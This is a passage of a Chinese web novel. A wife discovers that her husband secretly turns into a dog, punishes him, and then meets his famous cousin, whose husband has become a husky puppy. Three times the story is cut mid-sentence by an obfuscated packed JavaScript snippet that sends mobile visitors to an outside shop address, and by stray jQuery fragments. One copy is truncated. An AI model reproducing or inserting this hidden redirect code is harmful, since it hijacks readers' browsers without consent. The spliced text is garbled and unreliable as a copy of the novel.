裴矜拿了一块小毛巾擦着狗子嘴边的口水痕迹,随意地说道:“出去工作了,还没回来。” 唐蜜摇摇头:“我还以为找个年下至少会好拿捏一点,没想到是年少不更事啊~” 裴矜险些翘起的嘴角被她强压下,手指借着擦拭的动作轻戳狗子的两颊:“狗随正主,你看这狗像懂事的样子吗?” 唐蜜点头:“确实不太懂事,主任你说得对。” 大金毛闻言不服气地嘟囔着叫了一声,但因为裴矜擦嘴的东西只发出呜呜的声音,听不太清楚。 给狗子擦完嘴的裴矜心情颇好,让狗子叼着毛巾原路送回去。语不惊人死不休的唐蜜祭出第二个核.弹问题:“对了主任,之前给你推的短剧你看了吗?” 何止是看了,要不是你推荐的剧也不至于有今天这出探病大戏了。 裴矜眼睛看向别的地方,含糊不清地嗯了一声。 唐蜜嘴角一翘,像只小仓鼠一样凑在裴矜耳边:“那你觉得薄总是不是超帅的?我超迷他穿衬衫还有西装的样子,妥妥的撕漫男哎~” 裴矜又嗯了一声:“还可以吧。” 唐蜜吧唧着嘴感叹:“主任你这种天天吃山珍海味的自然不懂人间疾苦,要是让我能和薄总合个影,洒家这辈子值了!” 唐蜜同学,你的人生没有那么廉价,公司还需要你! 轻松愉快的时间总是过得很快,茶道三人组聊完已是半小时之后的事。王部长在临走前又说了几句关心的话,才带着吕恪和唐蜜离开。 五个人的热闹屋子一下安静了起来。裴矜今天的状态还算不错,她和王妈一起收拾的间隙问起了齐北宸让王妈送快递那件事。 隔了一段时间,王妈具体的细节不是很能想起来了,但她提到了一个关键的信息。 “先生那天蛮急的,还特意让我要把一整套行头都送去太太你那边。我看先生平时的穿着打扮都很讲究,问他需要什么款式,他居然回答我拿到什么算什么,我就拿了柜子里最上面的那一套,喊了个快递立马送去了。” 哦~他很急啊。 王妈说话的时候,裴矜一直玩味地看着站在不远处的金毛犬。狗子表面上在拨弄玩具,时不时偷看的小动作就没断过。 军情刺探到这个地步,再接着往下瞎演,观众该退票了。 王妈到点下钟后,偌大的空间里只剩下一人一狗。时钟滴答滴答地往前走着,裴矜单手托腮,拿着平板在看剧,大金毛就在她几米远的脚边玩玩具。 时间一分一秒地过去了,敌不动我不动。两只生物开战的无声较量被放大延长到了极致,终于,狗子从卧趴的姿势变成了站立,迈着步子就朝着齐北宸的房间偷偷移动。 “乖宝,去哪儿啊。” 裴矜说话的时候头依旧低垂着,手指在平板上丝滑地滑来滑去,连个眼神都不给大狗,语气看似像在聊天气般随意,其中的意味不言而喻。她微微扬起下巴,对着自己对面的矮凳子努了努嘴:“去,坐下。” 15. 人生至暗时刻 听到裴矜的召唤,金毛犬迈出的小步伐随即停了下来,它转了下狗头对着裴矜的方向,像在确认什么。 裴矜不给它任何眼神,只是用同样的口气又重复了一遍:“乖宝,坐我对面。” 狗子在原地转了几个圈圈后乖巧地走到裴矜指定的矮凳上坐下,尾巴不甩,也不四处张望,狗狗眼小心翼翼地望着裴矜。 裴矜沉默了一会儿问道:“乖宝,你有什么要和我交代的吗?” 金毛狗停摆的大尾巴又摇了起来,速度还挺快。 “呜……汪!” “给你机会,你要懂得珍惜。”裴矜的目光从平板上移开,看了一眼嫌疑狗后又重新落了回去,“坦白从宽,抗拒从严。没有证据,你觉得我会特地留你一条狗和我单独对话吗?” 狗子的大尾巴僵在半空中,抬起脑袋歪了歪:“汪?” 裴矜把平板切换到手写模式,并打开画图软件转向金毛,放在它的左爪前:“免得说我欺负小动物,现在开始,我问你答,不方便回答就用你的爪子划拉几下,这对你来说不难吧?听懂了就点点头。” 大狗迟疑了一会儿点了点狗头。 这可是他自己答应的,一会儿别赖在她头上。 裴矜松了口气的同时,神经也绷紧了许多,她双手交叉放在桌子上:“你叫什么名字?” 大狗吐着舌头哈气摇尾巴:“汪!” 裴矜面无表情地用下巴对着平板探了探。 狗子的爪子在平板上扒拉了一阵,能辨别出它画了一颗非常粗糙的五角星,还给上了个金黄色。 裴矜嘴角抽搐。 叫他男明星,还真把自己当男明星供上了,拿她的话堵她的嘴,这么损的招还真是刻在齐北宸骨子里的DNA,难以磨灭。 心里对狗子就是齐北宸的想法又进一步得到提升,裴矜喝了一口水,继续就这个话题深入展开:“男明星是我给你取的名字,我问的是你本来叫什么。” 狗子把平板往裴矜面前又推了推,叫声更大了些:“汪汪!” 这是真把自己当男明星整了?行,先不和你计较。 裴矜不动声色地把平板又重新推回狗子面前:“男明星就男明星吧,说说你刚才准备去哪儿?准备做什么?” 大狗的双爪放在平板上过了半晌才开始动作。裴矜看到它在作画,只是这次作画的时间格外久,从开始到完成足足画了几分钟时间。 金毛犬作画完毕的第一时间,裴矜就拉长脖子伸了过去。画上有个打开的大盒子,里面塞着一堆圆乎乎的球状物体,还有很多不规则的……小石头?裴矜看不懂这酷似梵高在世的玄幻画技,唯一能辨别出的还是被狗子上了金黄色的金元宝。 一人一狗的跨物种推理拉开了帷幕。 “你这是去找钱?” 狗子摇头。 “呃……你偷藏了什么东西不想给我知道?” 狗子既不摇头也不点头。 裴矜的语气瞬间笃定:“你藏了个大宝贝,是什么?” 狗子又开始重新作画,这次很快,因为上面只画了一个长方形物体。 裴矜立马反应了过来:“是你进门时候不给我碰的那个袋子?” 大金毛的那双眼睛盯着裴矜看了数十秒,狗头点了点。 “是手机吧?应该就是了。”裴矜不等对方回复就往下推理,语速放慢,又带着几分冷硬,“我也是真没想到,像《离魂记》那么离奇的事会发生在我身边。而你,一个早该告诉我的人一直在想方设法地演我、瞒我,是觉得我很不可信吗?” “呜呜,汪汪汪!” 前半段在乖乖低头听训的大金毛在听到最后一句话时,越过桌子扑在裴矜怀里,三角鼻一吸一吸,尾巴还在裴矜的膝盖上蹭来蹭去。 可惜裴矜没空沉浸式体验齐北宸丰富的表演和肢体艺术魅力了,她满脑子只想着一件事—— 齐北宸,你什么时候给我起开?重死我了! 费劲地把狗子从自己膝盖上转移到一旁的椅子上,中大型犬盘踞在方寸之地,只靠狗毛都快把椅子的表面积覆盖完了。 好大的一只狗,好小的一颗心,玻璃制品吗? “你这家伙是真狗啊,我才说一句你就那么大反应,不知道的还以为……喂!我话才说到一半,你又要去哪儿?” 裴矜说话期间,大金毛就不安分地挠腿抖动,还上蹿下跳的,像只闹铃一刻也不安分。 裴矜把脸一板,几次把狗子放在椅子上,一本正经地训斥,但大金毛的注意力越发不集中,这次打断后,它跳下椅子直冲齐北宸的房间而去。 怎么又往那儿钻啊,一次又一次的,真当她毫无准备? 已被狗子锻炼出肌肉记忆的裴矜下意识伸手一抓,狗子没抓到,狗毛抓了一手。然而这次她感觉有点不对劲。 狗毛湿漉漉、黏糊糊的,蓬松的毛发糊成了一小撮,就连刚刚狗子蹲过的地方都留下了一滩汗渍。 她刚刚无意间一摸碰到了狗子的皮肤,狗子的体温明显比平时要高,明明她自己也不算完全退烧,可狗子比她还要烫好几度。 这不正常。 裴矜当机立断打算抱狗去看病。 齐北宸不愿意招是一码事,齐北宸生病是另一码事。两者之间孰轻孰重,不用问都知道。 狗子的前爪刚搭在门口的瞬间,它的后半身被裴矜一抬,双爪离地。金毛的狗狗眼瞪得老大,两只前爪死命地扒在门框上,叫得异常凶:“汪汪汪!汪汪!” 裴矜愣了一下,手上的劲加重:“你都生病了,先休战,去看病!” “汪汪!汪汪!” 裴矜抬手抽了一下狗屁股:“我都没和你计较了,你倔个啥?!快松手!” 狗子不叫了,它拿出吃奶的劲和裴矜抗战到底。 门框上划出几道长长的狗爪印,怀里狗子的体温越来越高,且变化速度有加快的趋势。裴矜不敢使出全力,又不得不用力,一人一狗以门框为绳索,展开了一场继续几分钟的拔河比赛。 金毛就是力气大,要是他还是个小泰迪,早一把薅走了,哪儿给他机会作妖! 双方僵持不下,裴矜又气又急,一巴掌拍在狗屁股上:“齐北宸!” 狗子被拍得整只狗僵住了数秒,随后狗尾巴一抬,对着裴矜的鼻孔发动奇袭。 没有任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694117|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 何防备的裴矜被狗子弄了一鼻子毛,整个鼻腔都痒得不行,她伸手去挥开狗尾巴的间隙,大金毛抓紧时间往前一拱,灵活地蹿到门内。 说时迟那时快,裴矜一只脚挡住即将关上的门,两只手扳住门板往外掰。门内的大金毛直起身子,两只后爪站立,前爪用力地顶门。 要不是亲眼所见,谁敢信狗子还能像人一样操作? 裴矜咬着牙往里推:“干嘛要关门?你就不能老老实实去医院吗?” 乱吠的大金毛一声不响,狗子身上的滚滚热浪不断袭来,更匪夷所思的是,裴矜似乎看到狗子的四只爪子在渐渐变成人类手脚的轮廓。 难道齐北宸是触发了什么机制正在变身,所以才不愿意去看病吗? “砰!” 裴矜晃神之际,门内的大金毛利落地关门落锁,徒留一脸迷茫的裴矜在原地发呆。 这都叫什么事啊,离谱的家长给离谱开门,离谱到家了! 厚重的木板门隔绝了门内外的世界,裴矜摸了把脸,上面都是狗子的金毛。 呸呸呸。 不止脸上,裴矜的鼻孔、嘴里乃至手上、衣服上,到处都残留着狗毛,地上更是一片狼藉。 裴矜不敢用毛巾,怕沾得到处都是。干布擦拭掉粘着的狗毛,她又冲了把脸,闭上眼睛沉思了几分钟,掏出粘毛器,熟练地拖着地。拖完地板,她拿出一个大型玻璃罐,把滚筒上的狗毛一点点剥离丢进罐子里。 客厅里又安静了下来,只有裴矜一人操作的稀碎声响。 十五分钟后,穿着一身居家服,顶着一头湿发扒着门框探头探脑的齐北宸就看到这样一幅诡异的画面。 夕阳的余晖下,裴矜只开了一盏吊灯,面无表情地拨着狗毛,一小撮一小撮地丢在罐子里。罐子里大部分是金黄色的毛发,只有最底部有一点棕色的小卷毛。 齐北宸不敢出声,迈着螃蟹步一点点往卫生间的方向移动,努力避开了裴矜的视野。拿到毛巾擦了个头,他放好毛巾想依葫芦画瓢原路返回时,裴矜突然出声了。 “老公啊,去哪儿啊?” 齐北宸的大长腿一顿,陪着尴尬的笑容打哈哈:“老婆,我想起来我还有点事,我先去忙……” “别那么着急啊,过来。”裴矜没有看齐北宸,像招狗似地对着他的方向挥了挥,“就一会儿,不会耽误你多久的。” 齐北宸咽了口口水,走过去毕恭毕敬地站在裴矜身边,双手揣在身前呈交叉状,脖颈微低,连大气都不敢喘。 裴矜连个眼神不给他,周身散发出的气场比审大金毛之前还要冷硬。她专注地处理着她的狗毛大业,仿佛那才是她的人生目标,齐北宸充其量只是个掌灯太监。 几分钟后,裴矜总算忙完了她的玻璃罐,斜了齐北宸一眼:“站着干嘛,坐。” “不、不用了,我站着就好。” “让你坐你就坐!” 裴矜一声吼,大地抖三抖。 齐北宸哪儿敢不从,他长臂一伸,立马拽过椅子坐下,双手握拳放在膝盖上,大眼睛在裴矜认真的表情和那一罐子他身上掉下来的狗毛之间来回游弋:“老婆,你搜集这些毛做什么啊?” 16. 欠揍的齐狗 裴矜的语气轻飘飘的:“用来做狗毛掸子。” 齐北宸有些笑不出来了,但他硬撑着继续笑:“哈哈,老婆,哪儿有用狗毛做掸子的,你要是有需求我去给你买……” “我不要。”裴矜直接打断了他的话,双手环胸,挑着半边眉毛说道,“每次狗毛品种、色泽都不一样,吃进去的是粮,产出来的是毛,多难得啊。” “我刚刚还尝了一嘴,啧,你猜怎么着?好一股浓郁的狗油味。我才知道你这狗油味是你变身自动赋值上去的,难怪这么上头让人终身难忘。那么大年纪还能有美少男变身的体验,我猜滋味肯定特别棒,不然怎么会憋那么久都不和我透底?” 齐北宸这下坐不住了,他从椅子上一下蹦起来,双手乱舞:“不是老婆,你听我和你解释。我也不知道自己怎么就变成狗了,我是眼睛一睁开就变成小泰迪,还只会汪汪叫,一点话都说不出。我第一时间就想到你了,你才是我唯一的救星!” “我?”裴矜冷哼一声,并不买账,“我算哪根葱,远比不上你那个知道'小土匪'外号的临时密友方铭,你俩才是穿一条裤子的兄弟,我是外人。” “方铭?他是我朋友不假,但他也真不知道事情始末。”齐北宸吞吞吐吐道,“我也就在你喝醉酒那次见过他一面,那次在你公司里我都快被你逼到死胡同里了,正好看到他在就让他卖个人情给我帮帮忙了。” 裴矜送给齐北宸一对卫生球:“你脸好挺白,还能当信用卡刷。小土匪的大头糊照不是方铭给的,你是哪儿来的?” 齐北宸抓头:“那个……是我之前不小心摁到的。”他边观察着裴矜的脸色边补充道,“就我变成大金毛脖子上挂着的,还有之前变成小泰迪差点被你抓包的私狗物品是我手机。你不是薅掉我一块毛吗?我就想偷偷拍一下,看有没有影响颜值。” “当时我在车上看你在给人回消息,我就趁机PS了一下,把拍摄角度改了一点。看上去可能有点糊,但我也不知道一时间该怎么和你解释,你又担心狗是不是真回家了,所以就……” “所以你就骗了我?” “呃……嗯。” “你还骗我啥了?” “也没什么了吧,张阿姨在你之前差点遇到我把我捡回家算吗?” “还有呢?” “我让吕恪带我熟悉公司的时候,我看他不爽故意多绕了几个圈算吗?” “……就这些了吗?” “哦,我想起来了,我好像还把你蹭在我身上的口水还蹭到你们部长西裤上去了。” 裴矜沉默了片刻,一言不发地站起身来。齐北宸比裴矜要高许多,他看不真切裴矜脸上的表情,低头偷瞄着问:“嗨,老婆,你还好吗?” 裴矜弯腰,脱下了右脚拖鞋。 齐北宸歪了歪头:“老婆,你才退热没多久,赤脚踩地板不太好……” 不等齐北宸反应过来,裴矜已经拿着拖鞋狠狠往齐北宸的屁股上招呼过去了。速度之快,力度之狠远超齐北宸预期的柔弱小女人形象,他捂着屁股一蹦三尺高,嘴里发出杀猪叫。 “嗷!裴矜!你干嘛!” “干嘛?打你啊,还能干什么?”裴矜说话间抓住空档,对着齐北宸没捂住的右半屁股又是一拖鞋,“让你嘴欠手欠,今天不出这口气,我就不姓裴!” 齐北宸边躲边嚎:“裴矜!你谋杀亲夫,我要告诉爹妈!说你欺负我,还打我!” 裴矜闻言手上的动作更加凶狠:“打你就打你了,打你还要看黄历吗?去告啊,有种你告到中央去,我都不怕你!” 俩人在客厅里闹得鸡飞狗跳,十八般武艺齐上阵,完全没留意到齐北宸的房间里有一阵诡异的铃声传出。 “别打了,裴矜!差不多得了!” “滚你丫的,什么时候轮到你喊停了!你配吗?!” 塑料拖鞋噼里啪啦地又是好几声响,齐北宸顾不得形象本能地往自己房间里逃。 齐北宸在前,裴矜在后,俩人追到齐北宸卧室门口的时候,俩人双双听到了手机铃声。 铃声还挺特别的,是鬼来电,在突然安静下来的氛围里显得诡异和刺耳。 奔跑中的齐北宸在听到铃声的那一刻停住了逃跑的双腿,脸色煞白一片:“老婆,老婆大人!算我求你,让我接个电话成不?” 他又在作什么妖?还是说真有急事? 裴矜犹豫了一会儿,把拖鞋往齐北宸的屁股上一丢,吸了一口气,平复着剧烈起伏的胸膛:“接。” “哎哟!” 齐北宸的屁股上挨了一发暗器攻击,他弯下腰捡起裴矜的拖鞋后,拿起桌上的手机一看,屏幕上跳跃着一个特别的备注名——“鬼”。 齐北宸只剩下最后一层血色素的脸色这下也褪干净了,他把裴矜的拖鞋夹在咯吱窝下,手指按下了接听键,语气是裴矜闻所未闻的娇软:“喂~你好~” 裴矜双眉紧蹙,单手捂脸。 前脚让人恨不得拔光他的狗毛,后脚让人鸡皮疙瘩全体迎风招展,还得是人间第一齐演员功力深厚,猛男躯壳发出萌妹声音百般讨好,究竟为哪般? 电话那头沉默了许久,久到裴矜都以为齐北宸要被人给鸽了,一道低沉沙哑极具辨识度的女声说话了。 准确地说不是说话,而是rap式富有节奏感的骂街,自带家庭影院效果的那种。 裴矜几乎一个字都没听懂,对方说的是法语,语速快如机.关.枪,口条清晰流畅,全程不给齐北宸任何说话的机会,骂完就挂机。 才疏学浅的裴矜只能勉强从对方的超速度里识别出一个词:Lamerde。 刚体会过老公变成狗奇幻经历的裴矜不禁脑洞大开。 莫非齐北宸在外沾花惹草,还是惹了个豪横的外国女人,对方不知道他变成狗了,现在是火山爆发了? 裴矜侧目,从齐北宸那张帅脸一路往下扫到他的脚丫子,觉得这个可能性极大,脸色沉了几分。 被一通优美的法国话洗礼了个遍,懵圈的齐北宸刚机械性地挂上电话,转头就对上裴矜如地窖寒潭般的脸色。他赶忙把夹在咯吱窝下的拖鞋双手奉上:“老婆,你误会了,她不是你想的那类人。” 裴矜双手叉腰,一动不动:“哦。” 齐北宸急得满头大汗:“那是我姐!” 裴矜嗤之以鼻:“我懂。”35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17697766|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p> 齐北宸干脆蹲下身,把裴矜的拖鞋重新穿回她的脚上:“是我亲表姐,有血缘关系的那一种!” 早说不就结了,切。 裴矜活动了一下脚,表情稍霁:“你哪个表姐啊?怎么咱俩结婚的时候没听你说过?” 见裴矜发问,齐北宸松了口气。一口气才顺过喉咙,又因裴矜的问题被重新提了起来。齐北宸摇摇头,眼里的高光都没了:“你还是不知道的好。” 说得和世界BOSS似的,有那么夸张吗? 不等裴矜追问,齐北宸又道:“她明天一早要来咱家,今天晚上我们吃顿好的,明天可就没那么幸福了。” 裴矜无言以对,只觉得齐北宸小题大做。 一顿相对无言的“最后的晚餐”翻篇不过几个小时,令人神经紧绷的早上拉开了序幕。 表姐没说她具体什么时候来,等待成了一场凌迟酷刑。 裴矜的发烧不知是昨天揍了一顿齐北宸,好好出了一场汗,还是他化身大金毛的时候推荐的药真起了效果,休息在家的第二天,裴矜已然好了不少。 反观才变身回来的齐北宸一脸菜色,大清早的就蜷缩在沙发上,什么也不做,两眼放空,就连裴矜喊他吃早饭都没吃多少。 “叮咚——叮咚叮咚叮咚!” “来了!” 门铃声响,魔王降临。 裴矜一系列的客套话在看到表姐本体的时候悉数咽回了肚子里。 一身黑金色高定休闲西服的女人身高极高,大概有一米八左右,巧克力色的肌肤细腻光洁,看似纤细的骨架和体型,实则瘦劲有力,都是肌肉。往上能看到年轻女人比齐北宸还要优越的骨相,英气十足又不失女人味,和齐北宸有四五分相似。 那么英姿飒爽又风格特殊的表姐,感觉好像在哪儿见过? 裴矜的大脑引擎极速运作了半分钟,终于想起对方是谁了。 当今最炽手可热的女明星,同时也是国际知名影后佘瑰! 难怪齐北宸一看到是她的电话就吓得六神无主,气场强大又天赋那么高的顶级女演员表姐,换成她也怂。 佘瑰站在门口,眼睛的余光从呆愣的裴矜扫向她身后装死的齐北宸。她调整了一下怀里抱着的哈士奇幼崽的姿势,一脸玩味地勾了勾嘴角。 佘瑰怀里的哈士奇幼崽看到裴矜时不吵也不闹,连声叫都懒得给,狗眼里满是审视和打量。 齐北宸,都是你干的好事! “你好,佘小姐。”裴矜迅速切换到工作模式,侧身让开一条道,“欢迎你的到来。你的小狗需要我帮你安置吗?” 佘瑰收起放远的目光,微微颔首:“你好小裴,初次见面,你可以和宸宸一样叫我表姐就好。狗的问题不用费心,我会照顾好它的。” “汪!” 被佘瑰抱着的哈士奇幼崽配合地叫了一声。 人不一般,抱的狗都自带气场。裴矜觉得自己有点遭不住了,但还是硬着头皮把人迎了进来。 佘瑰进屋后把狗放在桌子上,自己体态优雅地入座,随意地对着无人的方向喊了一句:“见到表姐都不懂得喊了,齐北宸你是狗当久了不会做人了?” 17. 狗不单行 佘瑰的声音不似甜美女性那样软糯,慵懒沙哑的嗓音里带着一丝自然的法国腔。 裴矜的大脑瞬间停转了一刻。 她嘴里的狗是什么意思?是指生物学上的那种,还是性格上的那种?哎,都怪齐北宸,把她好好的正常世界观给粉碎了个遍,她现在看一有风吹草动就忍不住要做阅读分析。 裴矜思考不出结果,狗东西本狗自觉认领了其“狗腿子”的属性。 前面还能装傻不知道,被表姐指明道姓点出来了就不好再装聋作哑。齐北宸全身一凛,立马从沙发上转过头来挤出一个阳光开朗大男孩般的笑容:“嗨,表姐,你怎么来了?哈哈哈。” 佘瑰面带微笑:“没什么,就是顺路来看看是谁昨天那么胆子不接我电话。” 穿着高级西装带着狗,还放出杀.人.预告般的话,表姐,你这“顺路”顺得有点远。 裴矜自认自己是个等级没到家的老菜鸟玩家,她没勇气正面硬钢大魔王,转而去厨房给佘瑰带来一壶柠檬红茶,还配了一点冰块以供对方选择。 齐北宸见状,赶忙从裴矜手里接过盘子放在桌上,又是给佘瑰倒茶水,又是谄媚地询问:“今天天热,表姐要不要加点冰,喝起来更舒服?” 佘瑰点了点头,齐北宸心领神会地给她夹了两块冰块,悄悄拉了拉裴矜的衣角。 干嘛啊,这个段位的大魔王不管是一起打还是挨个上,那都是死路一条! 裴矜拍掉齐北宸的手,坐在佘瑰的对面看着她喝茶。见她没有任何皱眉抱怨的表情,裴矜暗自松了一口气,说道:“不好意思啊表姐,昨天齐……阿宸他不是有意要拖延不接你电话,我和他有些家务事耽搁了,一下子没听到,还请你谅解。” 佘瑰不置可否,她的眼睛始终看着齐北宸:“我今天来是因为另一件事。宸宸,和我老实说,最近有遇到过什么奇怪的事吗?” 齐北宸下意识看了一眼裴矜,转过头说:“就那样呗,没什么别的。” 佘瑰背靠在椅子上,若有所思地摇了摇头:“宸宸,撒谎不是好习惯,拉着别人帮你打圆场更是错上加错。” 坐在桌上一直保持沉默的哈士奇幼崽此刻也站了起来,短尾巴摇了两下,方向正对着裴矜。 莫非这狗也有古怪? 从佘瑰进门那一刻始终盘桓不去的违和感和熟悉感越来越深,裴矜试图分析出来点什么却因为对私下的佘瑰一点都不了解而卡壳。 她偷偷在桌下用手指戳了戳齐北宸的手背,眼睛的余光扫向桌上的哈士奇小狗。 得到信号的齐北宸沉吟片刻,疑惑地问起佘瑰另一个毫不相干的问题:“姐,今天怎么就你一个人?小姐夫去哪儿了?” 佘瑰露出进门后的第一个微笑:“你姐夫不是一直在这儿吗?你没看到?” 既是意料之中又是意料之外的回答,看来之前的推测不是她想多了。 裴矜暗舒一口气,拿起水杯仰头喝了一大口水。 “哈?所以你是小姐夫?” 齐北宸头放在桌子上,与幼崽汪四目相对深情凝望彼此了好一阵,忍住笑出声对着狗子招招手:“小姐夫?你怎么变成狗了?” 哈士奇顶着一张扑克牌狗脸由上而下看着他。齐北宸见小狗毫无反应,又拿手指碰了碰小狗腿:“小姐夫?我叫你一声你敢答应吗?” ……齐北宸,一天不作死,你是不是全身皮痒啊? 裴矜的右手下意识已经摸向了脚上的拖鞋,但碍于佘瑰在场,又硬生生地克制住了。 希望这个小姐夫只是爱称,而不是大魔王的那一位。 裴矜扯了扯嘴角,极力无视疯狂作妖的齐北宸问道:“表姐,阿宸说的小姐夫,具体是指哪一位?” 佘瑰轻笑一声:“小裴,我就嫁过一个男人,你说是谁?” 好学宝宝裴矜立刻拿出手机搜索,结果显示,这位娱乐圈的佘太君在两年前嫁给了被她小三岁的卢氏集团的太子爷卢烨。 裴矜对卢氏集团还是有印象的,她家公司合作的大客户里有几个是卢氏的供应商,可以说齐北宸的表姐和表姐夫都实力不俗,但他怎么就混成这个死样子? 眼里的嫌弃一闪而过,裴矜收起手机小声和佘瑰打招呼:“失礼了,表姐。我之前不太听阿宸聊他家里的事,对你和姐夫说了些无知的话。” “一家人不说两家话,我又不是你公司的大领导,不兴这样总是道歉的。”佘瑰挑了挑眉毛,凌厉的眉骨更显霸气,“阿烨和宸宸是同年,他比宸宸要小半岁左右,宸宸老喜欢喊他'小姐夫',这是常有的事。你什么都别管,就坐在这儿看戏。” 裴矜听罢面如死灰,手捧着茶杯一脸尬笑。佘瑰则看了眼手表,不知在等待着什么,一派悠然地享受着冰红茶。 那厢齐北宸还不知道两个女人在偷摸交换了什么意见,一门心思在调戏此刻困在哈士奇幼崽身体里的卢烨。一会儿戳人家小短腿,一会儿拨人家的耳朵毛,全然忘了自己变成狗子时候的狼狈模样。 眼瞅着齐北宸一路在作死的康庄大道上飞驰,裴矜憋不住出声提醒:“老公,好歹是姐夫,你差不多得了啊。” 齐北宸哈哈大笑:“老婆你放心,我心里有数。我姐都不管我,我姐夫能耐我何?” 本来还想捞齐北宸一下的,现在看来还是厚葬了吧。 一声不吭不代表真的没想法。正当齐北宸侧头和裴矜闲聊时,哈士奇的一只前爪精准无误地“啪叽”一下拍在齐北宸的脸上。 天作孽犹可恕,自作孽不可活。 裴矜悬着的心算是死透了,齐北宸作死的心还在熊熊燃烧。 单手捏住哈士奇的狗爪像捏气垫一样捏了两下,齐北宸转过头笑得依旧没心没肺:“小姐夫,几天不见,如隔三秋。你那么欢迎我,我可感动坏了。” 哈士奇幼崽被捏着爪子不动如山一分钟,随后果断地用另一只爪子向齐北宸的脸蛋发动奇袭。这回不一样了,肉垫里的指甲全数亮出,吓得齐北宸快速抓着小狗的两只前爪连连道歉:“小姐夫,我就是和你开个玩笑。我刚那是夸你毛色好、仪态佳,要不得是您娶了我姐呢?” 小狗把爪子从齐北宸的手里挣脱开来,往佘瑰的方向走了几步,继续趴着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704267|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 动不动,连个眼神都不屑于给齐北宸。 柿子捡软的捏,结果捏到刺头上,齐北宸也是该吃点教训长记性。 裴矜心里对“未见庐山真面目”的小姐夫好感度激增,她还拿出前一天收集的狗毛罐子给佘瑰看,后者接过一看,点点头道:“好意识,一会儿带上这个和我们一起出发。” “出发?去哪儿?”裴矜收集狗毛纯属想留着做点手工,压根没往别的方面想。听佘瑰这样说,她的脸变得严肃起来,“表姐的意思是你知道他们二人为什么会变成狗?” 佘瑰看了一眼手表,小声嘀咕了一句:“时间好像差不多了。”她顿了顿,又道,“八.九不离十吧,宸宸没和你说?” 裴矜锐利的目光盯在齐北宸身上,后者一脸迷茫:“我自己都不知道咋回事怎么说啊!我的好姐姐,你就别卖关子了。” “笨死了。”佘瑰一脸嫌弃地啧了一声,指了指角落里的狗窝,“小梅屋的东西都买回家了,还召唤不了你死去的记忆?” 齐北宸这才安静下来,左腿放在右腿上,单手摸着下巴皱眉思索。 演员的记忆力不是应该挺好的吗?怎么她家老公是条金鱼? 裴矜已经不指望从齐北宸的回忆里挖出什么有效信息了,桌上安分许久的哈士奇这时忽然抽搐了起来,全身散发出热浪。 昨天刚经历过类似场景的裴矜一下被激活了记忆:“表姐,姐夫他是不是要变回来了?” “不错。”佘瑰微笑颔首,对着齐北宸说,“暂时借你的房间一用。” “哦,行啊,姐你好淡定啊。”齐北宸引导着二哈去自己房间,回头望向拿着车钥匙往外走的佘瑰,“哎,姐,你去哪儿?” “给你姐夫拿衣服去。” 佘瑰下楼,卢烨关在房里,留下裴矜和齐北宸大眼瞪小眼。 严重怀疑齐北宸智商全拿来和自己斗智斗勇的裴矜看向禁闭的房门:“变身是什么样的感觉?” “嗯……类似于柯南?”齐北宸手舞足蹈地比划着,“好比那种头昏脑涨,肌肉骨骼像要被融掉,喘不上气,最后眼前一黑,嘎一下就倒下了。” 裴矜脑补了一番动图效果就感觉不太好了:“那不是很痛苦吗?亏你还能忍着不和我说。” 齐北宸不好意思地挠头:“我要是说了,以你的脾气肯定要负责到底。我自己都搞不清是怎么回事,哪儿能把你拉下水。” 算他有点良心,之前的事暂时不和他计较了。 柠檬红茶的酸甜气息在空气中发酵,安静的房间内静得只能听到彼此的心跳声。 裴矜双手拨弄着茶杯的边缘:“下次可不能这样了,好歹……也是法律上的夫妻,你老撇下我算什么个事。” 齐北宸过了半晌才反应过来,露齿一笑:“我听老婆的,保证完成任务!” 哼,一口一个老婆的,就会占便宜。 佘瑰拿着装衣服鞋子的大袋子上来正好看到齐北宸一脸憨笑的傻狗模样,她一记手刀劈在表弟头上,敲敲门把袋子从门缝里递进去又关上:“擦擦你的口水,一会儿咱们就出发去宠物店。” 18. 小梅屋宠物店 齐北宸刚想反驳,抬头一见是佘瑰,他也不敢反驳了,把装着他狗毛的罐子从裴矜手里借过,和裴矜一起穿外套换鞋。 “哎,你等下。”裴矜又拿了个超大的袋子塞给齐北宸,“这个一起带上。” 齐北宸看了半天没看懂:“带这个干什么?” 裴矜解释:“万一……我是说万一你路上变成狗狗了,至少得把你的衣服鞋子收起来。还有啊,狗狗的日常用品也得备着,不然我不在你身边,你又要跟着王妈装乖宝宝了。” 齐北宸才恢复正经不久的帅脸又露出一脸憨笑,看不下去的佘瑰连连摇头:“娶到小裴做老婆是你的福分啊宸宸,快去帮你老婆打包啊。” 齐北宸屁颠屁颠地去帮忙收拾了,裴矜落得清闲。 